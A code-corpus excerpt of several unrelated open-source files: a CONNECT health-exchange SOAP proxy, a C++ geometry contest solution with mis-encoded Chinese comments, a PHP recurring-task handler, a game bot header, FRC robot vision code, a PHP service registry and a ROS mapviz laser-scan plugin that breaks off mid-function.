HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package gov.hhs.fha.nhinc.notify.adapter.proxy; import gov.hhs.fha.nhinc.adapternotificationconsumersecured.AdapterNotificationConsumerPortSecureType; import gov.hhs.fha.nhinc.common.nhinccommon.AcknowledgementType; import gov.hhs.fha.nhinc.common.nhinccommon.AssertionType; import gov.hhs.fha.nhinc.common.nhinccommon.NhinTargetSystemType; import gov.hhs.fha.nhinc.hiem.consumerreference.ReferenceParametersHelper; import gov.hhs.fha.nhinc.hiem.consumerreference.SoapMessageElements; import gov.hhs.fha.nhinc.hiem.dte.marshallers.NhincCommonAcknowledgementMarshaller; import gov.hhs.fha.nhinc.hiem.dte.marshallers.WsntSubscribeMarshaller; import gov.hhs.fha.nhinc.messaging.client.CONNECTCXFClientFactory; import gov.hhs.fha.nhinc.messaging.client.CONNECTClient; import gov.hhs.fha.nhinc.messaging.service.port.ServicePortDescriptor; import gov.hhs.fha.nhinc.nhinclib.NhincConstants; import gov.hhs.fha.nhinc.nhinclib.NullChecker; import gov.hhs.fha.nhinc.notify.adapter.proxy.service.HiemNotifyAdapterSecuredServicePortDescriptor; import gov.hhs.fha.nhinc.webserviceproxy.WebServiceProxyHelper; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.oasis_open.docs.wsn.b_2.Notify; import org.w3c.dom.Element; /** * * @author Jon Hoppesch */ public class HiemNotifyAdapterWebServiceProxySecured implements HiemNotifyAdapterProxy { private static Log log = LogFactory.getLog(HiemNotifyAdapterWebServiceProxySecured.class); private static WebServiceProxyHelper oProxyHelper = null; public Element notify(Element notifyElement, SoapMessageElements referenceParametersElements, AssertionType assertion, NhinTargetSystemType target) throws Exception { Element responseElement = null; String url = getWebServiceProxyHelper().getAdapterEndPointFromConnectionManager( NhincConstants.HIEM_NOTIFY_ADAPTER_SERVICE_SECURED_NAME); if (NullChecker.isNotNullish(url)) { WsntSubscribeMarshaller subscribeMarshaller = new WsntSubscribeMarshaller(); Notify notify = subscribeMarshaller.unmarshalNotifyRequest(notifyElement); String wsAddressingTo = ReferenceParametersHelper.getWsAddressingTo(referenceParametersElements); if (wsAddressingTo == null) { wsAddressingTo = url; } HiemNotifyAdapterSecuredServicePortDescriptor portDescriptor = new HiemNotifyAdapterSecuredServicePortDescriptor(); CONNECTClient<AdapterNotificationConsumerPortSecureType> client = getCONNECTClientSecured(portDescriptor, url, assertion, wsAddressingTo); AcknowledgementType response = (AcknowledgementType) client.invokePort( AdapterNotificationConsumerPortSecureType.class, "notify", notify); NhincCommonAcknowledgementMarshaller acknowledgementMarshaller = new NhincCommonAcknowledgementMarshaller(); responseElement = acknowledgementMarshaller.marshal(response); } else { log.error("Failed to call the web service (" + NhincConstants.HIEM_NOTIFY_ADAPTER_SERVICE_SECURED_NAME + "). The URL is null."); } return responseElement; } public Element notifySubscribersOfDocument(Element docNotify, AssertionType assertion, NhinTargetSystemType target) throws Exception { throw new UnsupportedOperationException("Not supported yet."); } public Element notifySubscribersOfCdcBioPackage(Element cdcNotify, AssertionType assertion, NhinTargetSystemType target) throws Exception { throw new UnsupportedOperationException("Not supported yet."); } protected CONNECTClient<AdapterNotificationConsumerPortSecureType> getCONNECTClientSecured( ServicePortDescriptor<AdapterNotificationConsumerPortSecureType> portDescriptor, String url, AssertionType assertion, String wsAddressingTo) { return CONNECTCXFClientFactory.getInstance().getCONNECTClientSecured(portDescriptor, url, assertion, wsAddressingTo); } protected WebServiceProxyHelper getWebServiceProxyHelper() { if (oProxyHelper == null) { oProxyHelper = new WebServiceProxyHelper(); } return oProxyHelper; } }
alameluchidambaram/CONNECT
Product/Production/Services/HIEMCore/src/main/java/gov/hhs/fha/nhinc/notify/adapter/proxy/HiemNotifyAdapterWebServiceProxySecured.java
Java
bsd-3-clause
6,017
#include <stdio.h> #include <iostream> #include <math.h> using namespace std; #define eps 1e-6 struct TPoint { double x, y; }; struct TLine { TPoint p1, p2; }; double max(double x, double y) { //±È½ÏÁ½¸öÊýµÄ´óС£¬·µ»Ø´óµÄÊý if(x > y) return x; else return y; } double min(double x, double y) { //±È½ÏÁ½¸öÊýµÄ´óС£¬·µ»ØÐ¡µÄÊý if(x < y) return x; else return y; } double multi(TPoint p1, TPoint p2, TPoint p0) { //ÇóʸÁ¿[p0, p1], [p0, p2]µÄ²æ»ý //p0ÊǶ¥µã return (p1.x - p0.x) * (p2.y - p0.y) - (p2.x - p0.x) * (p1.y - p0.y); //Èô½á¹ûµÈÓÚ0£¬ÔòÕâÈýµã¹²Ïß //Èô½á¹û´óÓÚ0£¬Ôòp0p2ÔÚp0p1µÄÄæÊ±Õë·½Ïò //Èô½á¹ûСÓÚ0£¬Ôòp0p2ÔÚp0p1µÄ˳ʱÕë·½Ïò } bool isIntersected(TPoint s1, TPoint e1, TPoint s2, TPoint e2) { //ÅжÏÏß¶ÎÊÇ·ñÏཻ //1.¿ìËÙÅųâÊÔÑéÅжÏÒÔÁ½ÌõÏß¶ÎΪ¶Ô½ÇÏßµÄÁ½¸ö¾ØÐÎÊÇ·ñÏཻ //2.¿çÁ¢ÊÔÑé if( (max(s1.x, e1.x) >= min(s2.x, e2.x)) && (max(s2.x, e2.x) >= min(s1.x, e1.x)) && (max(s1.y, e1.y) >= min(s2.y, e2.y)) && (max(s2.y, e2.y) >= min(s1.y, e1.y)) && (multi(s2, e1, s1) * multi(e1, e2, s1) >= 0) && (multi(s1, e2, s2) * multi(e2, e1, s2) >= 0) ) return true; return false; } int main() { //freopen("in.in", "r", stdin); //freopen("out.out", "w", stdout); int ca, n, i, j, t, ltmp, qn; double tmp[100]; TPoint p0, point[80]; TPoint Q[300]; TLine line[40]; while(scanf("%d", &n) != EOF){ t = 0; for(i = 0;i < n;i++ ){ scanf("%lf%lf%lf%lf", &line[i].p1.x, &line[i].p1.y, &line[i].p2.x, &line[i].p2.y); point[t++] = line[i].p1; point[t++] = line[i].p2; } scanf("%lf%lf", &p0.x, &p0.y); //x = 0ÕâÌõÏßÉ쵀 ltmp = 1; tmp[0] = 0.0; for(i = 0;i < t;i++){ if(fabs(point[i].x) < eps) tmp[ltmp++] = point[i].y; } tmp[ltmp++] = 100.0; sort(tmp, tmp + ltmp); qn = 0; for(i = 1;i < ltmp;i++){ Q[qn].x = 0.0; Q[qn++].y = (tmp[i - 1] + tmp[i]) / 2; } //y = 0ÕâÌõÏßÉÏ ltmp = 1; tmp[0]= 0.0; for(i = 0;i < t;i++){ if(fabs(point[i].y) < eps) tmp[ltmp++] = point[i].x; } tmp[ltmp++] = 100.0; sort(tmp, tmp + ltmp); for(i = 1;i < ltmp;i++){ Q[qn].x = (tmp[i - 1] + tmp[i]) / 2; Q[qn++].y = 0.0; } //x = 100 ÕâÌõÏßÉÏ ltmp = 1; tmp[0] = 0.0; for(i = 0;i < t;i++){ if(fabs(point[i].x - 100) < eps) tmp[ltmp++] = point[i].y; } tmp[ltmp++] = 100.0; sort(tmp, tmp + ltmp); for(i = 1;i < ltmp;i++){ Q[qn].x = 100.0; Q[qn++].y = (tmp[i - 1] + tmp[i]) / 2; } //y = 100ÕâÌõÏß ltmp = 1; tmp[0] = 0.0; for(i = 0;i < t;i++){ if(fabs(point[i].y - 100.0) < eps) tmp[ltmp++] = point[i].x; } tmp[ltmp++] = 100.0; sort(tmp, tmp + ltmp); for(i = 1;i < ltmp;i++){ Q[qn].x = (tmp[i - 1] + tmp[i]) / 2; Q[qn++].y = 100.0; } int ans = 9999999, ans1; for(i = 0;i < qn;i++){ ans1 = 0; for(j = 0;j < n;j++){ if(isIntersected(line[j].p1, line[j].p2, Q[i], p0)) ans1++; } if(ans1 < ans) ans = ans1; } printf("Number of doors = %d\n", ans + 1); } return 0; }
yubo/program
ds/计算几何模板/pku_1066_Treasure Hunt.cpp
C++
bsd-3-clause
3,649
<?php /* * recurrent homeworks * */ include "utils.php"; session_start(); //si no hay sesion iniciada if(!isset($_SESSION["usrUserName"]) ) { //retornar al index (login) header("location: ../../index.php"); exit(); } //verificar que viene el campo activity del form if(isset($_POST["cmb_activity"] )) { $task = mysql_real_escape_string($_POST['recTaskName']); $remind_by = mysql_real_escape_string($_POST['dayWeekMonth']); //obtener el dato dependiendo si sera por semana o por mes if($remind_by == 'weekly') { //dia en que se asignara $remind_day = mysql_real_escape_string($_POST['week_day']); } else { //dia en que se asignara la tarea $remind_day = mysql_real_escape_string($_POST['monthDay']); } //dia que se debera realizar dicha actividad if($remind_by == 'weekly') { //dia en que se realizara $due_day = mysql_real_escape_string($_POST['due_weekday']); } else { //dia en que se asignara $due_day = mysql_real_escape_string($_POST['monthly_day']); } $points = mysql_real_escape_string($_POST["hw_points"]); $actID = mysql_real_escape_string($_POST["cmb_activity"]); $type_hw = mysql_real_escape_string($_POST["type_hw"]); $asignatorID = $_SESSION['usrID']; $profileID = $_SESSION['profileID']; $notify = isset($_POST["notify"]); $result = mysql_query("INSERT into recurringTasks (task, remind_by, remind_day, due_day, notify_email, actID, asignatorID, state, points, type) values ('$task','$remind_by', '$remind_day', '$due_day', '$notify', '$actID', '$asignatorID', 'assigned', '$points', '$type_hw')"); //ATENCION: AQUI IRA LA CONSULTA DE INSERCION DE EVENTO EN MYSQL if(isset($_POST["notify"])) { $email = get_value('usrTable', 'usrEmail', 'usrID', $profileID); $body = " <html> <head> <title> OrgBoat Recurrent Task </title> <style> p {font-family: 'Courier New', Courier, 'Lucida Sans Typewriter', 'Lucida Typewriter', monospace; color:#4F4F4F;} h3 { font-size: 16px; line-height: 1.5em; color: #2D465F; font-family: Courier New; font-style: normal; font-weight: bold; } h5 { color:#000000; } h6 { color:#000000; } </style> </head> <body> <h3>OrgBoat</h3> <p>You have been assigned a new task:</p></br> <p> - $task.</p></br> <h5>Visit:http://www.orgboat.com to see it.</br> Do Not Reply to this e-mail address.</h5> </body> </html>"; $headers = 'Content-type: text/html; charset=iso-8859-1' . "\r\n". 'From: OrgBoat@non-reply.com' . "\r\n" . 'Reply-To: orgboat@non-reply.com' . "\r\n" . 'X-Mailer: PHP/' . phpversion(); mail($email, "New Task", $body , $headers); } //if this homework is public if($type_hw == 'Public') { if($assignator == -1) { $assignatorName = "Admin"; } else { $assignatorName = get_value('usrTable', 'usrUserName', 'usrID', $assignator); } /* //agregar esta accion a newsTable $creatorID = $_SESSION["usrID"]; $divID = get_value('usrTable', 'divID', 'usrID', $usrID); $usrUserName = get_value('usrTable', 'usrUserName', 'usrID', $usrID); mysql_query("insert into newsTable(title, description, newdate, divID, creatorID) values('Added homework', 'The homework $hmwrk was added to the user $usrUserName', NOW(), '$divID', '$creatorID') "); */ } if($result) header("location: ../../web/admin.php?msg=Recurring task added !&tabpage=1"); else header("location: ../../web/admin.php?error=Sorry something went wrong!&tabpage=1"); } else { header("location: ../../web/admin.php?error=No POST data on add_rescttsk.php&tabpage=1"); } ?> </body> </html>
suiGn/orgboat
cod/php/add_rectsk.php
PHP
bsd-3-clause
4,190
// sagebot.hpp - SageBot class definition // sage - A TeamPlanets bot written for MachineZone job application // // Copyright (c) 2015 Vadim Litvinov <vadim_litvinov@fastmail.com> // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // 1. Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // 3. Neither the name of the author nor the names of its contributors // may be used to endorse or promote products derived from this software // without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS // OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) // HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT // LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY // OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF // SUCH DAMAGE. #ifndef _TEAMPLANETS_SAGE_SAGE_HPP_ #define _TEAMPLANETS_SAGE_SAGE_HPP_ #include <vector> #include "bot.hpp" #include "utils.hpp" namespace sage { class SageBot: public Bot { private: typedef std::vector<team_planets::planet_id> neighbors_list; typedef std::vector<neighbors_list> neighborhoods_list; public: DISABLE_COPY(SageBot) SageBot(): num_ships_per_reinforcement_(10), planets_mean_distance_(0), neighborhood_radius_multiplier_(1), neighborhood_radius_(0) {} virtual ~SageBot() {} protected: virtual void init_(); virtual void perform_turn_(); neighbors_list& neighbors_(team_planets::planet_id planet) { return neighborhoods_[planet - 1]; } const neighbors_list& neighbors_(team_planets::planet_id planet) const { return neighborhoods_[planet - 1]; } bool is_frontline_(team_planets::planet_id id) const; unsigned int num_ships_to_take_a_planet_(team_planets::planet_id src, team_planets::planet_id dst) const; void take_attack_decisions_(); void process_backline_planet_(team_planets::planet_id id); private: unsigned int compute_planets_mean_distance_() const; void compute_planets_neighborhoods_(); // User defined bot parameters const unsigned int num_ships_per_reinforcement_; // Precomputed map parameters unsigned int planets_mean_distance_; unsigned int neighborhood_radius_multiplier_; unsigned int neighborhood_radius_; // Precomputed planets neighborhoods neighborhoods_list neighborhoods_; // Per turn data structures std::vector<team_planets::planet_id> frontline_planets_; std::vector<team_planets::planet_id> backline_planets_; }; } #endif
merlin86/TeamPlanets
bots/sage0/sagebot.hpp
C++
bsd-3-clause
3,431
var a00494 = [ [ "calculate_nnz", "a00494.html#aca63ccfbd14352eade58fd2a2ec6b5e4", null ], [ "nnz_internal", "a00494.html#a710993cf2d56652448517817943ad10f", null ], [ "optimizeWildfire", "a00494.html#adc947c65dcf861c33a24399614c0791a", null ], [ "optimizeWildfire", "a00494.html#a33509e7a55b46fe677e682d01f8fbd87", null ], [ "optimizeWildfireNode", "a00494.html#aadd9b9f920ceaa21f31cb0695fc3c12d", null ], [ "optimizeWildfireNonRecursive", "a00494.html#ad11ffb44abea89e42c6de7a9f2f97221", null ] ];
devbharat/gtsam
doc/html/a00494.js
JavaScript
bsd-3-clause
523
/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package edu.wpi.first.wpilibj.templates; import edu.wpi.first.wpilibj.camera.AxisCamera; import edu.wpi.first.wpilibj.image.BinaryImage; import edu.wpi.first.wpilibj.image.ColorImage; import edu.wpi.first.wpilibj.image.CriteriaCollection; import edu.wpi.first.wpilibj.image.NIVision.MeasurementType; import edu.wpi.first.wpilibj.image.ParticleAnalysisReport; /** * * @author Rajath, Michael */ public class ImageProcessing { ParticleAnalysisReport particles[] = null; CriteriaCollection criteriaCollection = new CriteriaCollection(); ParticleAnalysisReport bottomTarget, topTarget, middleTargetLeft, middleTargetRight; Messager msg = new Messager(); static final double FOV = 34.42900061182182;//camera field of view in degrees static final double camResWidth = 640; static final double camResHeight = 480; static final double targetHeight = 18.125; static final double cameraTilt = 13.4; static final double cameraHeight = 61; static final double maxDisparity = .5; static final double lambda = camResHeight / FOV; static final double topTargetHeight = 109;//inches to middle static final double middleTargetHeight = 72;//inches to middle static final double bottomTargetHeight = 39;//inches to middle static final double T_topTargetHeight = 118;//inches to top of tape static final double T_middleTargetHeight = 81;//inches to top of tape static final double T_bottomTargetHeight = 48;//inches to top of tape static final double B_topTargetHeight = 100;//inches to bottom of tape static final double B_middleTargetHeight = 63;//inches to bottom of tape static final double B_bottomTargetHeight = 30;//inches to bottom of tape public ImageProcessing() { criteriaCollection.addCriteria( MeasurementType.IMAQ_MT_BOUNDING_RECT_WIDTH, 30, 400, false); criteriaCollection.addCriteria( MeasurementType.IMAQ_MT_BOUNDING_RECT_HEIGHT, 40, 400, false); } public static double getHorizontalAngle(ParticleAnalysisReport particle) { double p = (camResWidth / 2) - particle.center_mass_x; double angle = p / lambda; return angle; } public static ParticleAnalysisReport getTopMost(ParticleAnalysisReport[] particles) { ParticleAnalysisReport greatest = particles[0]; for (int i = 0; i < particles.length; i++) { ParticleAnalysisReport particle = particles[i]; if (particle.center_mass_y > greatest.center_mass_y) { greatest = particle; } } return greatest; } public static ParticleAnalysisReport getBottomMost(ParticleAnalysisReport[] particles) { ParticleAnalysisReport lowest = particles[0]; for (int i = 0; i < particles.length; i++) { ParticleAnalysisReport particle = particles[i]; if (particle.center_mass_y < lowest.center_mass_y) { lowest = particle; } } return lowest; } public static ParticleAnalysisReport getRightMost(ParticleAnalysisReport[] particles) { ParticleAnalysisReport rightistTarget = particles[0]; for (int i = 0; i < particles.length; i++) { ParticleAnalysisReport particle = particles[i]; if (particle.center_mass_x > rightistTarget.center_mass_x) { rightistTarget = particle; } } return rightistTarget; } public static ParticleAnalysisReport getLeftMost(ParticleAnalysisReport[] particles) { ParticleAnalysisReport leftistTarget = particles[0]; for (int i = 0; i < particles.length; i++) { ParticleAnalysisReport particle = particles[i]; if (particle.center_mass_x < leftistTarget.center_mass_x) { leftistTarget = particle; } } return leftistTarget; } /** * Fills the array (particles) with all found particle analysis reports * * @param camera the camera to get the particle analysis report from * @throws Exception */ public void getTheParticles(AxisCamera camera) throws Exception { int erosionCount = 2; // true means use connectivity 8, false means connectivity 4 boolean useConnectivity8 = false; ColorImage colorImage; BinaryImage binaryImage; BinaryImage cleanImage; BinaryImage convexHullImage; BinaryImage filteredImage; colorImage = camera.getImage(); //seperate the light and dark image binaryImage = colorImage.thresholdRGB(0, 42, 71, 255, 0, 255); cleanImage = binaryImage.removeSmallObjects( useConnectivity8, erosionCount); //fill the rectangles that were created convexHullImage = cleanImage.convexHull(useConnectivity8); filteredImage = convexHullImage.particleFilter(criteriaCollection); particles = filteredImage.getOrderedParticleAnalysisReports(); colorImage.free(); binaryImage.free(); cleanImage.free(); convexHullImage.free(); filteredImage.free(); } public double getCameraTilt() { double level = particles[0].center_mass_y - particles[0].boundingRectHeight / 2; level *= FOV; level /= camResHeight; return level - FOV / 2; } /** * Get the horizontal distance to the target * * @param part the particle analysis report to get the report from * @param height the height of the target to get the report from * @return distance to target, in inches */ public double getDistance(ParticleAnalysisReport part, double height) { double ph = part.boundingRectHeight; double delta = height - cameraHeight; double R = targetHeight / MathX.tan(ph / lambda); double D = 0; for (int i = 0; i < 4; i++) { double theta = MathX.asin(delta / R); double new_ph = ph / MathX.cos(theta); R = targetHeight / MathX.tan(new_ph / lambda); D = MathX.sqrt(R * R - delta * delta); } return D; } private double max(double d1, double d2) { if (d1 > d2) { return d1; } return d2; } private double min(double d1, double d2) { if (d1 < d2) { return d1; } return d2; } public double isTopTarget(ParticleAnalysisReport part) { double D1 = getDistance(part, T_topTargetHeight); double D2 = getDistance(part, B_topTargetHeight); double disparity = max(D1, D2) - min(D1, D2); System.out.println("Top1:" + D1); System.out.println("Top2:" + D2); System.out.println("----------------------"); /* * if (disparity < maxDisparity) { return true; } else { return false; } * */ return disparity; } public double isBottomTarget(ParticleAnalysisReport part) { double D1 = getDistance(part, T_bottomTargetHeight); double D2 = getDistance(part, B_bottomTargetHeight); double disparity = max(D1, D2) - min(D1, D2); System.out.println("Bottom1:" + D1); System.out.println("Bottom2:" + D2); System.out.println("----------------------"); /* * * if (disparity < maxDisparity) { return true; } else { return false; } * */ return disparity; } public boolean isMiddleTarget(ParticleAnalysisReport part) { double D1 = getDistance(part, T_middleTargetHeight); double D2 = getDistance(part, B_middleTargetHeight); double disparity = max(D1, D2) / min(D1, D2); if (disparity < maxDisparity) { return true; } else { return false; } } }
erhs-53-hackers/Robo2012
src/edu/wpi/first/wpilibj/templates/ImageProcessing.java
Java
bsd-3-clause
7,992
<?php /** * Service repository class file * * @package ShnfuCarver * @subpackage Kernel\Service * @copyright 2012 Shnfu * @author Zhao Xianghu <xianghuzhao@gmail.com> * @license http://carver.shnfu.com/license.txt New BSD License */ namespace ShnfuCarver\Kernel\Service; /** * Service repository class * * @package ShnfuCarver * @subpackage Kernel\Service * @copyright 2012 Shnfu * @author Zhao Xianghu <xianghuzhao@gmail.com> * @license http://carver.shnfu.com/license.txt New BSD License */ class ServiceRepository { /** * Service repository * * @var array */ protected $_repository = array(); /** * Register a service * * @param \ShnfuCarver\Kernel\Service\Service $service * @return \ShnfuCarver\Kernel\Service\Service */ public function register($service) { if (!$service instanceof ServiceInterface) { throw new \InvalidArgumentException('Not an instance of ServiceInterface!'); } $name = $service->getName(); if (!$this->exist($name)) { $this->_repository[$name] = $service; } return $this->get($name); } /** * Check whether a service exists * * @param string $name * @return bool */ public function exist($name) { return isset($this->_repository[$name]); } /** * Get a service * * @param string $name * @return object */ public function get($name) { if (!isset($this->_repository[$name])) { throw new \InvalidArgumentException("The service $name does not exist!"); } return $this->_repository[$name]->get(); } } ?>
shnfu/shnfucarver
library/ShnfuCarver/Kernel/Service/ServiceRepository.php
PHP
bsd-3-clause
1,772
// ***************************************************************************** // // Copyright (c) 2015, Southwest Research Institute® (SwRI®) // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // * Neither the name of Southwest Research Institute® (SwRI®) nor the // names of its contributors may be used to endorse or promote products // derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY // DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND // ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // ***************************************************************************** #include <mapviz_plugins/laserscan_plugin.h> // C++ standard libraries #include <cmath> #include <cstdio> #include <algorithm> #include <vector> // Boost libraries #include <boost/algorithm/string.hpp> // QT libraries #include <QColorDialog> #include <QDialog> #include <QGLWidget> // OpenGL #include <GL/glew.h> // QT Autogenerated #include "ui_topic_select.h" // ROS libraries #include <ros/master.h> #include <swri_transform_util/transform.h> #include <swri_yaml_util/yaml_util.h> #include <mapviz/select_topic_dialog.h> // Declare plugin #include <pluginlib/class_list_macros.h> PLUGINLIB_DECLARE_CLASS( mapviz_plugins, laserscan, mapviz_plugins::LaserScanPlugin, mapviz::MapvizPlugin) namespace mapviz_plugins { LaserScanPlugin::LaserScanPlugin() : config_widget_(new QWidget()), topic_(""), alpha_(1.0), min_value_(0.0), max_value_(100.0), point_size_(3) { ui_.setupUi(config_widget_); // Set background white QPalette p(config_widget_->palette()); p.setColor(QPalette::Background, Qt::white); config_widget_->setPalette(p); // Set status text red QPalette p3(ui_.status->palette()); p3.setColor(QPalette::Text, Qt::red); ui_.status->setPalette(p3); // Initialize color selector colors ui_.min_color->setColor(Qt::white); ui_.max_color->setColor(Qt::black); // Set color transformer choices ui_.color_transformer->addItem(QString("Flat Color"), QVariant(0)); ui_.color_transformer->addItem(QString("Intensity"), QVariant(1)); ui_.color_transformer->addItem(QString("Range"), QVariant(2)); ui_.color_transformer->addItem(QString("X Axis"), QVariant(3)); ui_.color_transformer->addItem(QString("Y Axis"), QVariant(4)); ui_.color_transformer->addItem(QString("Z Axis"), QVariant(5)); QObject::connect(ui_.selecttopic, SIGNAL(clicked()), this, SLOT(SelectTopic())); QObject::connect(ui_.topic, SIGNAL(editingFinished()), this, SLOT(TopicEdited())); QObject::connect(ui_.alpha, SIGNAL(editingFinished()), this, SLOT(AlphaEdited())); QObject::connect(ui_.color_transformer, SIGNAL(currentIndexChanged(int)), this, SLOT(ColorTransformerChanged(int))); QObject::connect(ui_.max_color, SIGNAL(colorEdited(const QColor &)), this, SLOT(UpdateColors())); QObject::connect(ui_.min_color, SIGNAL(colorEdited(const QColor &)), this, SLOT(UpdateColors())); QObject::connect(ui_.minValue, SIGNAL(valueChanged(double)), this, SLOT(MinValueChanged(double))); QObject::connect(ui_.maxValue, SIGNAL(valueChanged(double)), this, SLOT(MaxValueChanged(double))); QObject::connect(ui_.bufferSize, SIGNAL(valueChanged(int)), this, SLOT(BufferSizeChanged(int))); QObject::connect(ui_.pointSize, SIGNAL(valueChanged(int)), this, SLOT(PointSizeChanged(int))); QObject::connect(ui_.use_rainbow, SIGNAL(stateChanged(int)), this, SLOT(UseRainbowChanged(int))); QObject::connect(ui_.max_color, SIGNAL(colorEdited(const QColor &)), this, SLOT(DrawIcon())); QObject::connect(ui_.min_color, SIGNAL(colorEdited(const QColor &)), this, SLOT(DrawIcon())); PrintInfo("Constructed LaserScanPlugin"); } LaserScanPlugin::~LaserScanPlugin() { } void LaserScanPlugin::DrawIcon() { if (icon_) { QPixmap icon(16, 16); icon.fill(Qt::transparent); QPainter painter(&icon); painter.setRenderHint(QPainter::Antialiasing, true); QPen pen; pen.setWidth(4); pen.setCapStyle(Qt::RoundCap); pen.setColor(ui_.min_color->color()); painter.setPen(pen); painter.drawPoint(2, 13); pen.setColor(ui_.min_color->color()); painter.setPen(pen); painter.drawPoint(4, 6); pen.setColor(ui_.max_color->color()); painter.setPen(pen); painter.drawPoint(12, 9); pen.setColor(ui_.max_color->color()); painter.setPen(pen); painter.drawPoint(13, 2); icon_->SetPixmap(icon); } } QColor LaserScanPlugin::CalculateColor(const StampedPoint& point, bool has_intensity) { double val; unsigned int color_transformer = ui_.color_transformer->currentIndex(); if (color_transformer == COLOR_RANGE) { val = point.range; } else if (color_transformer == COLOR_INTENSITY && has_intensity) { val = point.intensity; } else if (color_transformer == COLOR_X) { val = point.point.x(); } else if (color_transformer == COLOR_Y) { val = point.point.y(); } else if (color_transformer == COLOR_Z) { val = point.transformed_point.z(); } else // No intensity or (color_transformer == COLOR_FLAT) { return ui_.min_color->color(); } if (max_value_ > min_value_) val = (val - min_value_) / (max_value_ - min_value_); val = std::max(0.0, std::min(val, 1.0)); if (ui_.use_rainbow->isChecked()) { // Hue Interpolation int hue = val * 255; return QColor::fromHsl(hue, 255, 127, 255); } else { const QColor min_color = ui_.min_color->color(); const QColor max_color = ui_.max_color->color(); // RGB Interpolation int red, green, blue; red = val * max_color.red() + ((1.0 - val) * min_color.red()); green = val * max_color.green() + ((1.0 - val) * min_color.green()); blue = val * max_color.blue() + ((1.0 - val) * min_color.blue()); return QColor(red, green, blue, 255); } } void LaserScanPlugin::UpdateColors() { std::deque<Scan>::iterator scan_it = scans_.begin(); for (; scan_it != scans_.end(); ++scan_it) { std::vector<StampedPoint>::iterator point_it = scan_it->points.begin(); for (; point_it != scan_it->points.end(); point_it++) { point_it->color = CalculateColor(*point_it, scan_it->has_intensity); } } } void LaserScanPlugin::SelectTopic() { ros::master::TopicInfo topic = mapviz::SelectTopicDialog::selectTopic( "sensor_msgs/LaserScan"); if (!topic.name.empty()) { ui_.topic->setText(QString::fromStdString(topic.name)); TopicEdited(); } } void LaserScanPlugin::TopicEdited() { std::string topic = ui_.topic->text().trimmed().toStdString(); if (topic != topic_) { initialized_ = false; scans_.clear(); has_message_ = false; PrintWarning("No messages received."); laserscan_sub_.shutdown(); topic_ = topic; if (!topic.empty()) { laserscan_sub_ = node_.subscribe(topic_, 100, &LaserScanPlugin::laserScanCallback, this); ROS_INFO("Subscribing to %s", topic_.c_str()); } } } void LaserScanPlugin::MinValueChanged(double value) { min_value_ = value; UpdateColors(); } void LaserScanPlugin::MaxValueChanged(double value) { max_value_ = value; UpdateColors(); } void LaserScanPlugin::BufferSizeChanged(int value) { buffer_size_ = value; if (buffer_size_ > 0) { while (scans_.size() > buffer_size_) { scans_.pop_front(); } } } void LaserScanPlugin::PointSizeChanged(int value) { point_size_ = value; } void LaserScanPlugin::laserScanCallback(const sensor_msgs::LaserScanConstPtr& msg) { if (!has_message_) { initialized_ = true; has_message_ = true; } // Note that unlike some plugins, this one does not store nor rely on the // source_frame_ member variable. This one can potentially store many // messages with different source frames, so we need to store and transform // them individually. Scan scan; scan.stamp = msg->header.stamp; scan.color = QColor::fromRgbF(1.0f, 0.0f, 0.0f, 1.0f); scan.source_frame_ = msg->header.frame_id; scan.transformed = true; scan.has_intensity = !msg->intensities.empty(); scan.points.clear(); swri_transform_util::Transform transform; if (!GetTransform(scan.source_frame_, msg->header.stamp, transform)) { scan.transformed = false; PrintError("No transform between " + source_frame_ + " and " + target_frame_); } double angle, x, y; for (size_t i = 0; i < msg->ranges.size(); i++) { // Discard the point if it's out of range if (msg->ranges[i] > 